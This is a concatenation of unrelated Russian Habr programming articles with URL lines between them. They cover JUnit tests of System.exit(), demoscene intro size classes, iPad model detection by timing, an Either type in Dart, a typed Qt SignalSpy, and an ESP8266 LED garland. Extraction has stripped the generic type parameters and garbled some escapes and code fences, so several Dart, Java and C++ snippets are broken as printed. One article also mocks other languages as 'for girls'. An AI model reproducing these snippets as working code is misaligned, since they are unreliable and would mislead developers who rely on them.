### 3. Обходной путь решения проблемы с помощью Security Manager (до Java 17)
Чтобы избежать завершения юнит-теста, можно использовать [Security Manager](https://www.baeldung.com/java-security-manager). Security Manager предотвратит вызовы `System.exit()`, а если вызов состоится, выбросит исключение. Затем можно перехватить выброшенное исключение, чтобы сделать ассерты. Security Manager не используется в Java по умолчанию, и вызовы всех методов `System` разрешены.
Важно отметить, что SecurityManager в Java 17 признан устаревшим и будет приводить к появлению исключений при использовании с Java 17 или более поздней ее версии.
#### 3.1. Security Manager
Посмотрим на реализацию Security Manager:
```
class NoExitSecurityManager extends SecurityManager {
@Override
public void checkPermission(Permission perm) {
}
@Override
public void checkExit(int status) {
super.checkExit(status);
throw new RuntimeException(String.valueOf(status));
}
}
```
Давайте поговорим о нескольких важных свойствах этого кода:
* Метод `checkPermission()` должен быть переопределен, потому что дефолтная реализация Security Manager в случае вызова `System.exit()` выбрасывает исключение.
* Всякий раз, когда код вызывает `System.exit()`, метод `checkExit()` класса `NoExitSecurityManager` будет выбрасывать исключение.
* Вместо `RuntimeException` может быть выброшено любое другое исключение, если это непроверяемое исключение.
#### 3.2. Модификация теста
Следующим шагом будет модификация теста для использования реализации `SecurityManager`. Мы добавим методы `setUp()` и `tearDown()` для установки и удаления Security Manager во время выполнения теста:
```
@BeforeEach
void setUp() {
System.setSecurityManager(new NoExitSecurityManager());
}
```
Наконец, давайте изменим тест-кейс, чтобы перехватить `RuntimeException`, который будет выброшен при вызове `System.exit()`:
```
@Test
void givenDAOThrowsException_whenSaveTaskIsCalled_thenSystemExitIsCalled() throws Exception {
Task task = new Task("test");
TaskDAO taskDAO = mock(TaskDAO.class);
TaskService service = new TaskService(taskDAO);
try {
doThrow(new NullPointerException()).when(taskDAO).save(task);
service.saveTask(task);
} catch (RuntimeException e) {
Assertions.assertEquals("1", e.getMessage());
}
}
```
Мы используем блок `catch`, чтобы убедиться, что сообщение с результатом работы совпадает с кодом возврата, установленным DAO.
### 4. Библиотека System Lambda
Также написать тест можно с использованием библиотеки [System Lambda](https://github.com/stefanbirkner/system-lambda). Эта библиотека помогает тестировать код, вызывающий методы класса `System`. Рассмотрим, как использовать ее для написания нашего теста.
#### 4.1. Зависимости
Начнем с добавления зависимости `system-lambda`:
```
com.github.stefanbirkner
system-lambda
1.2.1
test
```
#### 4.2. Модификация тест-кейса
Теперь давайте модифицируем тест-кейс. Мы обернем наш исходный код тестирования методом `catchSystemExit()`. Этот метод предотвратит выход из системы и вместо этого вернет код выхода. Затем мы подтвердим код выхода:
```
@Test
void givenDAOThrowsException_whenSaveTaskIsCalled_thenSystemExitIsCalled() throws Exception {
int statusCode = catchSystemExit(() -> {
Task task = new Task("test");
TaskDAO taskDAO = mock(TaskDAO.class);
TaskService service = new TaskService(taskDAO);
doThrow(new NullPointerException()).when(taskDAO).save(task);
service.saveTask(task);
});
Assertions.assertEquals(1, statusCode);
}
```
### 5. Использование JMockit
Фреймворк [JMockit](https://www.baeldung.com/jmockit-101) предоставляет возможность сделать мок класса System. Его можно использовать для того, чтобы изменить поведение `System.exit()` и предотвратить завершение работы приложения. Давайте рассмотрим, как это сделать.
#### 5.1. Зависимость
Добавим зависимость [JMockit](https://mvnrepository.com/artifact/org.jmockit/jmockit/1.49):
```
org.jmockit
jmockit
1.49
test
```
Вместе с этим нужно добавить параметр инициализации JVM `-javaagent` для JMockit. Для этого мы можем использовать плагин [Maven Surefire](https://www.baeldung.com/maven-surefire-plugin):
```
maven-surefire-plugin
2.22.2
-javaagent:"${settings.localRepository}"/org/jmockit/jmockit/1.49/jmockit-1.49.jar
```
Это приводит к инициализации JMockit до JUnit. Таким образом, все тест-кейсы выполняются через JMockit. При использовании более старых версий JMockit параметр инициализации не требуется.
#### 5.2. Модифицирование теста
Давайте модифицируем тест, чтобы имитировать `System.exit()`:
```
@Test
public void givenDAOThrowsException_whenSaveTaskIsCalled_thenSystemExitIsCalled() throws Exception {
new MockUp() {
@Mock
public void exit(int value) {
throw new RuntimeException(String.valueOf(value));
}
};
Task task = new Task("test");
TaskDAO taskDAO = mock(TaskDAO.class);
TaskService service = new TaskService(taskDAO);
try {
doThrow(new NullPointerException()).when(taskDAO).save(task);
service.saveTask(task);
} catch (RuntimeException e) {
Assertions.assertEquals("1", e.getMessage());
}
}
```
Это вызовет исключение, которое мы можем поймать и проверить, как и в предыдущем примере с Security Manager-ом.
### 6. Заключение
В этой статье мы рассмотрели, как сложно может быть использовать JUnit для тестирования кода, вызывающего `System.exit()`. Затем мы разобрали способ решения этой проблемы путем добавления Security Manager. Также упомянули библиотеки System Lambda и JMockit, которые дают более простые способы решения этой проблемы.
Примеры кода, использованные в этой статье, можно найти [на GitHub](https://github.com/eugenp/tutorials/tree/master/testing-modules/junit-5-advanced).
---
Завтра вечером состоится открытое занятие для начинающих Java-разработчиков, которые хотят научиться применять enum в своих приложениях. На уроке поговорим о том, что такое перечисления, конструкторы, поля, методы, синглетон. Регистрация открыта [по ссылке](https://otus.pw/dOfY/) для всех желающих. | https://habr.com/ru/post/701174/ | null | ru | null |
# #01 — И целого байта мало… | Какими бывают intro?
Дамы, господа, сегодня отличный день!
Скорее всего вы помните, что существует такая форма компьютерного искусства как **«демосцена»**, но если слышите это слово впервые — просто прочитайте тематический [**хаб**](https://habr.com/ru/hub/demoscene/) и [**теги**](https://habr.com/ru/search/?q=%5B%D0%B4%D0%B5%D0%BC%D0%BE%D1%81%D1%86%D0%B5%D0%BD%D0%B0%5D&target_type=posts) на Хабре, а также пару популярных статей по этому вопросу.
Одной из форм соревнования на демосцене является **sizecoding** — программирование визуальных эффектов в крайне ограниченном объеме машинного кода. Прежде чем мы перейдем к достижениям сегодняшнего дня (а они есть и более чем масштабные), давайте очень быстро пробежимся по наследию дедов. Все приведенные ниже работы сделаны в разные годы, объединяет их требование к платформе — PC, x86, DOS (никакого GPU, обычная видеокарта). В идеале вам стоит поставить DosBox и запускать каждую работу самостоятельно, благо авторы не особенно озадачиваются созданием видео и загрузкой его на YouTube. Мы постарались выбрать по одной показательной работе в каждой номинации.
Для начала посмотрим на «крупные» релизы, те, которые занимают килобайты. Здесь золотым стандартом является 64 килобайта. Категория 40 килобайт популярна на компьютере **Commodore Amiga**, а в случае с PC здесь обычно лежат работы, которые авторы не захотели дописывать до 64k. Говоря про 32k и 16k — это чаще всего cracktro и bbs intro, которые формально тоже можно отнести к демосцене.
[**64k intro**](https://www.pouet.net/prodlist.php?type%5B0%5D=64k&platform%5B0%5D=MS-Dos&page=1&order=thumbup) — [**heaven seven**](https://www.pouet.net/prod.php?which=5) by **Exceed**
[**40k intro**](https://www.pouet.net/prodlist.php?type%5B%5D=40k&platform%5B%5D=MS-Dos&page=1) — [**Alien Incident Cracktro**](https://www.pouet.net/prod.php?which=613) by **Hybrid & Superior Art Creations**
[**32k intro**](https://www.pouet.net/prodlist.php?type%5B%5D=32k&platform%5B%5D=MS-Dos&page=1) — [**Quake 3 Cracktro (RZR #07)**](https://www.pouet.net/prod.php?which=638) by **Razor 1911** & **Superior Art Creations**
[**16k intro**](https://www.pouet.net/prodlist.php?type%5B%5D=16k&platform%5B%5D=MS-Dos&page=1) — [**Blastersound BBS (2)**](https://www.pouet.net/prod.php?which=12650) by **Iguana**
А вот отсюда начинается настоящая демосцена, здоровенная, демосцена моей мечты!
[**8k intro**](https://www.pouet.net/prodlist.php?type%5B%5D=8k&platform%5B%5D=MS-Dos&page=1) — [**mars**](https://www.pouet.net/prod.php?which=4662) by **Tim Clarke**
[**4k intro**](https://www.pouet.net/prodlist.php?type%5B%5D=4k&platform%5B%5D=MS-Dos&page=1) — [**Omniscent**](https://www.pouet.net/prod.php?which=482) by **Sanction**
[**1k intro**](https://www.pouet.net/prodlist.php?type%5B%5D=1k&platform%5B%5D=MS-Dos&page=1) — [**paleozoa**](https://www.pouet.net/prod.php?which=58497) by **fsqrt**
[**512b intro**](https://www.pouet.net/prodlist.php?type%5B%5D=512b&platform%5B%5D=MS-Dos&page=1) — [**AFLAtoxin**](https://www.pouet.net/prod.php?which=53992)
[**256b intro**](https://www.pouet.net/prodlist.php?type%5B%5D=256b&platform%5B%5D=MS-Dos&page=1) — [**Puls**](https://www.pouet.net/prod.php?which=53816) by **Rrrola**
[**128b intro**](https://www.pouet.net/prodlist.php?type%5B%5D=128b&platform%5B%5D=MS-Dos&page=1) — [**cross**](https://www.pouet.net/prod.php?which=6212) by **Queue Members Group**
[**64b intro**](https://www.pouet.net/prodlist.php?type%5B%5D=64b&platform%5B%5D=MS-Dos&page=1) — [**into a new era**](https://www.pouet.net/prod.php?which=78044) by **Desire**
[**32b intro**](https://www.pouet.net/prodlist.php?type%5B%5D=32b&platform%5B%5D=MS-Dos&page=1) — [**Projektbeschreibung**](https://www.pouet.net/prod.php?which=76788) by **Desire**
На этом официальны градации на [**Pouet**](https://www.pouet.net) заканчиваются, но не заканчивается погоня за эффектами в минимальном объеме кода. Вот в качестве примера всем знакомый «дождь из символов в Матрице» размеров всего восемь (8) байт:
**8b intro** — [**m8trix 8b**](https://www.pouet.net/prod.php?which=63126)
Вопрос дня: может ли быть интро размером в 4 байта? А в 2 байта?
Ответ: ДА.
Вот машинный код для процессора x86:
```
0xEB 0x80
```
Или на более понятном языке:
```
; 2B or not 2B - main environment code
; (c) 2020 / ShakeSpirt / RMDA
; fasm 1
org $100
jmp short $82 ; jump to command line to launch the code :)
```
А вот результат на экране:
Заинтригованы? Во второй части мы детально расскажем как такое возможно! Уж такой сегодня
день…
Продолжение статьи можно и не ждать, если вы умеете держать ассемблер в руках и язык вероятного противника вам знаком. Вот ссылка на ответ: [[**www.pouet.net/prod.php?which=85118**](https://www.pouet.net/prod.php?which=85118)
Пишите в комментариях что поняли, что не поняли и что хотели бы понять из прочитанного выше. Ассемблер вовсе не черная магия! Просто НОРМАЛЬНЫЙ мужской язык программирования, а не это все «для девочек», на чем вы обычно каждый день пишите.
Архив выпусков нашей научно-популярной передачи:
[И целого байта мало… (Часть #0)](https://habr.com/ru/post/492984/)
[И целого байта мало… (Часть #-1, пилот)](https://habr.com/ru/post/68984/)
[И целого байта мало… (Часть #1)](https://habr.com/ru/post/495042/)
[И целого байта мало… (Часть #2)](https://habr.com/ru/post/495408/)
На иллюстрациях в статье PC-демонстрация [**obsoleet**](https://www.pouet.net/prod.php?which=13033) by Unreal Voodoo победившая на Assembly в 2004 году. И наверное, если вы дочитали до этого места, вам стоит посмотреть саму работу, она очень трогательная:
---EOF---
[#FF — И целого байта мало… | Пилот)](https://habr.com/ru/post/68984/)
[#00 — ИЦБМ… | Приглашение на Revision Online 2020](https://habr.com/ru/post/492984/)
[#01 — ИЦБМ… | Какими бывают intro?](https://habr.com/ru/post/495042/)
[#02 — ИЦБМ… | The Cross of Changes](https://habr.com/ru/post/495408/)
[#03 — ИЦБМ… | 2B or not 2B](https://habr.com/ru/post/495732/)
[#04 — ИЦБМ… | Берем БК за рога](https://habr.com/ru/post/496212/)
[#05 — ИЦБМ… | Анимэ](https://habr.com/ru/post/496512/)
[#06 — ИЦБМ… | Метеоризмы](https://habr.com/ru/post/496692/)
[#07 — ИЦБМ… | Revision Online](https://habr.com/ru/post/496696/)
[#08 — ИЦБМ… | Голосуем на Revision](https://habr.com/ru/post/496902/)
Развлекательный канал деда в Телеграм: [[**teleg.run/bornded**](https://teleg.run/bornded)
Рядом с каналом есть чат. В нем можно попробовать поднять вопросы за демосцену, ассемблер, пиксель-арт, трекерную музыку и другие аспекты процессы. Вам могут ответить либо отправят в другие, более тематические чаты.
**ТАК ПОБЕЖДАЛИ — ТАК ПОБЕДИМ!**](https://teleg.run/bornded)](https://www.pouet.net/prod.php?which=85118) | https://habr.com/ru/post/495042/ | null | ru | null |
# Как отличить версию iPad в Safari
На днях встала задача: во что бы то ни стало, нужно было отличить iPad1 от iPad2 в браузере. iPad3 можно отличить с помощью window.devicePixelRatio, а вот с первыми двумя проблема. Детальное изучение всего объекта window результатов не дало. Появилась мысль попытаться отличить их по видеокарте с помощью WebGL, но WebGL заблокирован.
Было решено попробовать нагрузить проц. Следующий код дал очень забавный результат.
```
var rad = 37.5 * (Math.PI / 180),
width = 11.32424654356,
z,
cache,
time = new Date().getTime();
for (z = 150000; z-- ;){
cache = width * z * Math.sin(rad) + width * z * Math.cos(rad);
}
console.log(new Date().getTime() - time);
```
На iPad1 результат стабилен: ≈113—118ms и в случае сильной загруженности будет только больше.
На iPad2 результат стабилен: ≈60ms и в случае сильной загруженности будет только больше.
Предлагаю считать 100ms барьером определения версии, и прогонять этот тест при первой загрузке приложения, записывая результат в localStorage.
P.S.: разумеется код нужно причесать, но здесь важен посыл.
**upd**: [Crystall](http://habrahabr.ru/users/crystall/) [предложил отличное решение](http://habrahabr.ru/post/146769/#comment_4942563). Спасибо! | https://habr.com/ru/post/146769/ | null | ru | null |
# Функциональный подход обработки ошибок в Dart
При переходе на новую технологию, мы лишаемся привычных инструментов для разработки. В каких-то случая мы вынуждены смириться с их отсутствием из-за каких-то технических ограничений, но при возможности переносим инструменты с собой. Разрабатывая android приложения, за основу я брал [пример](https://fernandocejas.com/2018/05/07/architecting-android-reloaded/) чистой архитектуры предложенной Fernando Cejas. Разбираясь с используемыми во Flutter шаблонами проектирования, я решил отказаться от этой архитектуры в пользу BLoC. К данному шаблону я быстро привык, он очень похож на MVVM, с которым работал ранее, но с одной деталью я никак не хотел мириться. При вызове методов репозитория я должен был ловить исключения, кастить их к какому-то типу и в соответсвии с типом, создавать необходимое состояние. На мой взгляд, это очень захламляет блок и я портировал тип Either используемый ранее в android проектах, основанных на Fernando.
Either пришел из функциональных языков программирования. Он предоставляет значение одного из возможных типов:
* Left (в случае неудачи);
* Right (в случае успеха).
**Базовая реализация Either**
```
/// Signature of callbacks that have no arguments and return right or left value.
typedef Callback = void Function(T value);
/// Represents a value of one of two possible types (a disjoint union).
/// Instances of [Either] are either an instance of [Left] or [Right].
/// FP Convention dictates that:
/// [Left] is used for "failure".
/// [Right] is used for "success".
abstract class Either {
Either() {
if (!isLeft && !isRight)
throw Exception('The ether should be heir Left or Right.');
}
/// Represents the left side of [Either] class which by convention is a "Failure".
bool get isLeft => this is Left;
/// Represents the right side of [Either] class which by convention is a "Success"
bool get isRight => this is Right;
L get left {
if (this is Left)
return (this as Left).value;
else
throw Exception('Illegal use. You should check isLeft() before calling ');
}
R get right {
if (this is Right)
return (this as Right).value;
else
throw Exception('Illegal use. You should check isRight() before calling');
}
void either(Callback fnL, Callback fnR) {
if (isLeft) {
final left = this as Left;
fnL(left.value);
}
if (isRight) {
final right = this as Right;
fnR(right.value);
}
}
}
class Left extends Either {
final L value;
Left(this.value);
}
class Right extends Either {
final R value;
Right(this.value);
}
```
Реализация совсем базовая, уступает решениям на других языках, но со своей задачей справляется. Я использую этот тип как результат всех методов репозитория, а обработку исключений перенес в слой данных. Это избавляет блока от конструкций try/catch, за счет чего код становится более читаем.
**Пример с try/catch**
```
class ContactBloc {
final ContactRepository contactRepository;
ContactBloc(this.contactRepository);
@override
Stream mapEventToState(ContactEvent event) async\* {
if (event is GetContactEvent) {
yield LoadContactState();
try {
var contact = contactRepository.getById(event.id);
yield ContactIsShowingState(contact);
} on NetworkConnectionException catch (e) {
yield NetworkExceptionState(e);
} catch (e) {
yield UnknownExceptionState(e);
}
}
}
}
abstract class ContactRepository {
FuturegetById(int id);
}
```
**Пример с either**
```
class ContactBloc {
final ContactRepository contactRepository;
ContactBloc(this.contactRepository);
@override
Stream mapEventToState(ContactEvent event) async\* {
if (event is GetContactEvent) {
yield LoadContactState();
final either = contactRepository.getById(event.id);
if (either.isRight) {
final contact = either.right;
yield ContactIsShowingState(contact);
} else {
final failure = either.left;
if (failure is NetworkFailure) yield NetworkFailureState(failure);
if (failure is UnknownFailure) yield UnknownFailureState(failure);
}
}
}
}
abstract class ContactRepository {
Future>getById(int id);
}
```
По поводу читаемости, кто-то может возразить. Возможно кому-то привычен try/catch и будет по своему прав, по большей части это вкусовщина. Дополнительным преимуществом является то, что мы сами можем определить иерархию Failure и возвращать в левой части. Допустим сделать абстрактный Failure, от него сделать общие для всех фич ServerFailure, NetworkFailure и какие-нибудь специфичные для текущей фичи ContactFailure, с наследниками. В блоке мы точно будем знать, какие из Failure ожидать.
Минусом в реализации Failure на Dart, является отсутсвие [sealed classes](https://kotlinlang.org/docs/reference/sealed-classes.html) как в kotlin, иначе бы не было этих if'ов с кастингом. Язык молод, активно развивается и надеюсь, что придет время и у нас появятся инструменты, позволяющие более лаконично писать обработчики.
Кому-то может не понравится данная реализация, возможно сочтет ее бессмысленной, но я лишь хотел ознакомить Вас с возможностью функционального подхода обработки ошибок в Dart, хоть использование не получилось таким изящным как в других языках.
Ресурсы:
[Исходный код](https://github.com/baihu92/EitherType) | https://habr.com/ru/post/459757/ | null | ru | null |
# Строго-типизированный SignalSpy для тестирования Qt приложений
При написании юнит-тестов за правило хорошего тона считается проверка инвариантов класса посредством открытого интерфейса класса. В случае с Qt всё немного сложнее, так как функции-члены могут потенциально посылать сигналы, которые выходят «наружу» объектов и являются тем самым частью открытого интерфейса. Для этих целей в модуле QtTestLib имеется полезный класс `QSignalSpy`, который следит за определённым сигналом издаваемым тестируемым обьектом и скурпулёзно ведёт протокол, сколько раз и с какими значениями этот сигнал был вызван.
Вот как это работает:.
```
// Предполагается, что в классе MyClass определён сигнал "void someSignal(int, bool)".
MyClass someObject;
QSignalSpy spy(&someObject, SIGNAL(someSignal(int, bool))); // шпионим за сигналом "someSignal".
emit someObject.someSignal(58, true);
emit someObject.someSignal(42, false);
QList firstCallArgs = spy.at(0);
QList secondCallArgs = spy.at(1);
```
Как видно из последних двух строк, сам QSignalSpy наследует от ````
QList (у здорового человека здесь должен прозвенеть синтактический звоночек), где внутренний QList хранит значения посланные с сигналом за определённый вызов, а внешний - ведёт протокол самих вызовов.
В приведенном примере ожидается следующее:
assert(2 == firstCallArgs.size());
assert(58 == firstCallArgs.at(0).toInt()); // второй синтактический звоночек
assert(true == firstCallArgs.at(0).toBool());
assert(2 == secondCallArgs.size());
assert(42 == secondCallArgs.at(1).toInt());
assert(false == secondCallArgs.at(2).toBool());
```
Как Вы видите, у данного подхода есть ряд недостатков:
* если кто-то переименует сигнал someSignal, код по прежнему будет компилироваться, так как запись SIGNAL(someSignal(int, bool)) всего-лишь создаёт из сигнатуры сигнала строковую константу (третий звоночек).
* если в ходе теста Вам понадобиться проверить, что сигнал ни разу не был вызван, т.е
assert(0 == spy.size());
то в случае переименовывания сигнала, тест будет не только компилироваться, но ещё и успешно проходить выполнение.
* все распаковки из QVariant в ...toInt(), ...toBool() и так далее компилируются в независимости от того, что изначально было в этот QVariant запаковано. В крайнем случае получите 0. А если Вы как раз хотите проверить значение на равенство нулю, то Ваш тест будет работать даже после того как кто-то поменяет аргумент сигнала с int на QString.
* ну, и последнее: необходимость всё время распаковывать содержимое QVariant'а немного утомляет.
Если подобные недостатки вызывают у Вас недовольство и если Вы относитесь к тем программистам, которые пишут машинный код медленнее и хуже компилятора, то давайте попросим компилятор заодно и помочь в решении проблемы со шпионом сигналов.
Итак, что же нужно сделать? Для начала, набросаем шапку класса:
```
template <... тут потом заполним...>
class SignalSpy;
```
Определять обьекты нашего класса хотелось используя не строку с именем сигнала, а сам сигнал. Т.е как-то так:
```
SignalSpy<...тут чё-то...> spy(&someObject, &MyClass::someSignal);
```
Так мы сможем узнать на этапе компиляции, что такого сигнала, к примеру, нет или, что список его аргументов не подходит под тип шпиона.
Далее, зачем хранить аргументы вызова в списке QVariant'ов, если их количество и качество известно заранее? Намного лучше было бы использовать что-то вроде такого чудища :
```
std::tuple
```
А протокол вызовов будет выглядеть так:
```
QList >
```
Наследовать от этого чудовища не обязательно, так что давайте просто отложим всю эту структуру в виде открытого аттрибута класса SignalSpy. Подведём промежуточные итоги. Имеем:
```
template <...тут потом заполним...>
class SignalSpy
{
public:
// Конструктор
SignalSpy(T* signalSource, ...какой-то сигнал класса Т)
{
… как-то сделать так, чтобы, когда вызывался
сигнал, все его аргументы записывались в m_calls...
}
QList > m\_calls;
};
```
Пришла пора заполнять троеточия. Если предположить, что мы хотим ограничить полученный класс на перехват сигналов с только одним аргументом, то можно сделать так:
```
template
class SignalSpy
{
public :
SignalSpy(T\* signalSource, void (T::\*Method)(ArgT)); // параметр Method указывает на сигнал.
std::list > m\_calls;
};
```
Вот как бы это выглядело в коде клиента:
```
//класс SomeClass определяет сигнал void someSignal(int);
SomeClass myObject;
SignalSpy spy = SignalSpy(&myObject, &SomeClass::someSignal);
```
Писать каждый раз нечто вроде SignalSpy особо не хочется, по-этому давайте, между делом, сделаем фабрику:
```
template
SignalSpy createSignalSpy(T\* signalSource, void (T::\*Method)(ArgT))
{
return SignalSpy(signalSource, Method);
};
```
Теперь можно определять шпионов так:
```
auto spy = createSignalSpy(&signalSource, &SignalClass::someSignal);
```
Уже лучше. Теперь давайте подумаем, как определить конструктор. Первое, что приходит в голову — lambda функция:
```
SignalSpy(T* signalSource, void (T::*Method)(ArgT));
{
QObject::connect(signalSource, Method,
[this](ArgT arg)
{ // заносим аргументы сигнала в протокол.
m_calls.push_back(std::make_tuple(arg));
});
}
```
Ну, собственно, и всё. Осталось только обобщить для произвольного количества аргументов. Для этого нужно всего-лишь добавить несколько троеточий в определении шаблонов:
```
template
class SignalSpy
{
public :
SignalSpy(T\* signalSource, void (T::\*Method)(ParamT...))
{
QObject::connect(signalSource,
Method,
[this](ParamT... args)
{
m\_calls.push\_back(std::make\_tuple(args...));
});
}
QList > m\_calls;
};
// Ну и фабрика заодно
template
SignalSpy createSignalSpy(T\* signalSource, void (T::\*Method)(ParamT...))
{
return SignalSpy(signalSource, Method);
};
```
Теперь можно с лёгкой душой писать строго-типизированный тест:
```
auto spy = createSignalSpy(&signalSource, &SignalClass::someSignal);
emit someObject.someSignal(58, true)
emit someObject.someSignal(42,false);
assert( 58, get<0>(spy.m_calls.at(0)) );
assert( true, get<1>(spy.m_calls.at(0)) );
assert( 42, get<0>(spy.m_calls.at(1)) );
assert( false, get<1>(spy.m_calls.at(1)) );
```
Другое дело.` | https://habr.com/ru/post/218729/ | null | ru | null |
# Кто добавил Python в последнее обновление Windows?
Несколько дней назад команда Windows [анонсировала майское обновление 2019 для Windows 10](https://blogs.windows.com/windowsexperience/2019/05/21/how-to-get-the-windows-10-may-2019-update/). В этом посте мы взглянем на то, что мы, команда Python, сделали для того, чтобы установка Python в Windows стала проще. В частности поговорим о Microsoft Store и о добавлении дефолтной команды “python.exe” для облегчения поиска (в коллаборации с Windows). Возможно вы уже слышали об этом в подкасте [Python Bytes](https://pythonbytes.fm/episodes/show/130/python.exe-now-shipping-with-windows-10), на PyCon US, или [в Twitter](https://twitter.com/zooba/status/1128762545790042112?s=20).
[](https://devblogs.microsoft.com/python/wp-content/uploads/sites/12/2019/05/Python_StoreBanner-1024x295.png)
По мере перемещения программного обеспечения с ПК в облако, браузер и Интернет вещей рабочие процессы разработки меняются. Хотя Visual Studio остается отличной отправной точкой для любой рабочей нагрузки в Windows, многие разработчики теперь предпочитают использовать инструменты индивидуально и по запросу.
Для других операционных систем менеджер пакетов, поддерживаемый платформой, является традиционным местом для поиска отдельных инструментов, которые были настроены, проверены и протестированы для системы. В Windows мы исследуем способы предоставления аналогичного опыта разработчикам, не влияя на пользователей, не являющихся разработчиками, и не нарушая возможность издателей управлять своими релизами. [Windows Subsystem для Linux](https://devblogs.microsoft.com/commandline/announcing-wsl-2/) является одним из подходов, предлагающих разработчикам согласованность между их средами сборки и развертывания. Но есть и другие инструменты для разработчиков, которые также имеют значение.
Одним из таких инструментов является Python. Microsoft сотрудничает с сообществом Python более двенадцати лет и в настоящее время напрямую взаимодействует с четырьмя ключевыми контрибуторами языка и основной среды выполнения. Развитие Python невероятно, ведь он используется аналитиками данных, веб-разработчиками, системными администраторами и студентами, и как минимум половину их задач [уже можно выполнять на Windows](https://www.youtube.com/watch?v=uoI57uMdDD4). Но пока разработчики Python на Windows сталкиваются с большими вопросами, чем на других платформах.
### Установка Python в Windows
[](https://devblogs.microsoft.com/python/wp-content/uploads/sites/12/2019/05/Python_Before-1024x399.png)
В течение многих лет было широко известно, что Windows является единственной основной операционной системой, в которой нет встроенного интерпретатора Python. Для многих пользователей, которые никогда не будут нуждаться в этом, это помогает уменьшить размер и повысить безопасность операционной системы. Но для тех из нас, кто в этом нуждается, отсутствие Python остро ощущается.
Как только вы обнаружите, что вам нужно получить Python, вы быстро столкнетесь с множеством выборов. Будете ли вы скачивать установщик с python.org? Или, возможно, такой дистрибутив, как Anaconda? Установщик Visual Studio также является вариантом. А какая версия нужна? Как вы получите доступ после установки? Вы найдете больше ответов, чем вам нужно, и в зависимости от вашей ситуации любой из них может быть правильным.
Мы потратили время на то, чтобы понять, почему кто-то обнаруживает ошибку, указанную выше, и какая помощь ему нужна. Если вы уже являетесь экспертом Python со сложными потребностями, вы, вероятно, знаете, как его установить и использовать. Гораздо более вероятно, что кто-то столкнется с этой проблемой в первый раз когда попытается использовать Python. Многие из учителей, с которыми мы говорили, подтвердили эту гипотезу — студенты сталкиваются с этим гораздо чаще, чем опытные разработчики.
И мы сделали все проще.
[](https://devblogs.microsoft.com/python/wp-content/uploads/sites/12/2019/05/Python_StoreBanner-1024x295.png)
Во-первых, мы помогли сообществу выпустить [Python](https://docs.python.org/3.7/using/windows.html#windows-store) в Microsoft Store. Эта версия Python полностью подготовлена сообществом, легко устанавливается на Windows 10, и автоматически делает стандартные команды `python`, `pip` и `idle` доступными (как и их эквиваленты в версиях `python3` и `python3.7`, для всех команд, как на Linux).
[](https://devblogs.microsoft.com/python/wp-content/uploads/sites/12/2019/05/Python_After.png)
Наконец, с майским обновлением Windows 2019 мы заканчиваем картину. Хотя Python продолжает оставаться полностью независимым от операционной системы, каждая установка Windows будет включать в себя команды python и python3, которые ведут вас прямо на [страницу Python](https://www.microsoft.com/p/python-37/9nj46sx7x90p?Cid=AnnounceBlog). Мы считаем, что Microsoft Store идеально подходит для пользователей, начинающих работать с Python, и, учитывая наш опыт работы с ним и участие в сообществе Python, мы рады поддержать его в качестве default choice.
[](https://devblogs.microsoft.com/python/wp-content/uploads/sites/12/2019/05/Python_Tweet-1.png)
Мы надеемся, что все будут так же рады, как [Scott Hanselman когда обнаружил это](https://twitter.com/shanselman/status/1127022451433410560?s=20). Со временем мы планируем расширить аналогичную интеграцию с другими инструментами для разработчиков и решить проблемы с началом работы. Мы хотели бы услышать ваши мысли и предложения, поэтому не стесняйтесь оставлять комментарии здесь или использовать приложение Windows Feedback. | https://habr.com/ru/post/455337/ | null | ru | null |
# Делаем гирлянду с ребенком
Уровень сложности: для начинающих.
Идея возникла, когда под новый год сломалась старая гирлянда. Сын посмотрел на RGB-светодиодную ленту и спросил, можно ли сделать из нее гирлянду. Можно — сказал я, и сын начал долго описывать, как именно должна мигать гирлянда. Я ничего не понял, и решил сделать так, чтобы он мог сделать так как он хочет самостоятельно. Начал я с анализа собственных пожеланий к проекту:
1. Графическая среда разработки типа Scratch
2. offline работа — возможность работы устройства при выключенном компьютере
3. Работа по воздуху, без подключения провода
4. Надежность — никакая загруженная программа не должна «повесить» устройство до необходимости перезагрузки
### Аппаратная платформа
За основу была взята плата ESP8266 c NodeMCU ([вроде такой](https://ru.aliexpress.com/item/ESP8266-CH340G-CH340-G-NodeMcu-V3-Lua-Wireless-WIFI-Module-Connector-Development-Board-Based-ESP-12E/32800966224.html?spm=a2g0v.search0104.3.1.JhUjVl&ws_ab_test=searchweb0_0,searchweb201602_2_10152_10151_10065_10344_10068_10342_5790020_10343_51102_10340_10341_10543_10084_10083_10307_10301_5060020_5130020_10312_10313_10059_10314_10534_5000020_100031_10604_10103_10607_10606_10605_10594_10142_10107_10125_5080020-10344,searchweb201603_25,ppcSwitch_5&algo_expid=a60f5b8c-3efd-4e23-99a2-f1b10b5b71a8-0&algo_pvid=a60f5b8c-3efd-4e23-99a2-f1b10b5b71a8&transAbTest=ae803_4&rmStoreLevelAB=5)), к ней добавилась пара транзисторов и резисторов. Выбранные модули имеют регулятор напряжения на 3-20 вольт, что позволяет питать его от того же источника, что и ленту. Выходы esp дают напряжение 3 вольта с предельным током в 12mA, так что для управления лентой я использовал обычные биполярные транзисторы.
Чтобы из микроконтроллера не вышел белый дым, я поставил между выходом и базой резистор в 220 Ом. У esp программный pwm, некоторые пины имеют специальное назначение, я подбирал экспериментально.
### Прошивка
Перед использованием, esp8266 нужно прошить, я использую NodeMCU с lua, хотя она и имеет несколько меньше возможностей, чем Arduino с C++. Итак, проще всего начать с готовой прошивки с [nodemcu-build.com](https://nodemcu-build.com/). Для нашего проекта нужно будет добавить модуль pwm. Через некоторое время на почту упадет ссылка на образ. Нужно взять тот, что с float.
Прошить можно любым программатором [отсюда](https://nodemcu.readthedocs.io/en/master/en/flash/), а я использую NodeMCU Flasher.
В NodeMCU есть файловая система, выполнение начинается с модуля init.lua, для загрузки я использую [ESPlorer](https://esp8266.ru/esplorer/).
### Мигаем диодом
В заблуждение меня ввел следующий момент. Внутренняя нумерация (GPIO0-16) используется только в native программах (Arduino/C++). Из lua используются обозначения с платы. Например, чтобы использовать GPIO16/D0(встроенный светодиод). из Lua, нужно писать gpio.write(0, gpio.HIGH). Помигать диодом можно прямо из консоли ESPlorer-а.
В отличие от Arduino, в nodemcu **нельзя** использовать delay и busy-loop, консоль и wifi используют для работы тот же самый процессор. Также в плату встроен watchdog, который перезагрузит ее если ваш код будет выполняться больше 500ms. Рекомендуется не занимать процессор больше чем на 2ms. Для решения проблемы существуют функции [node.task.post](https://nodemcu.readthedocs.io/en/dev/en/modules/node/#nodetaskpost) и [tmr](https://nodemcu.readthedocs.io/en/dev/en/modules/tmr/)
### Выбор среды разработки
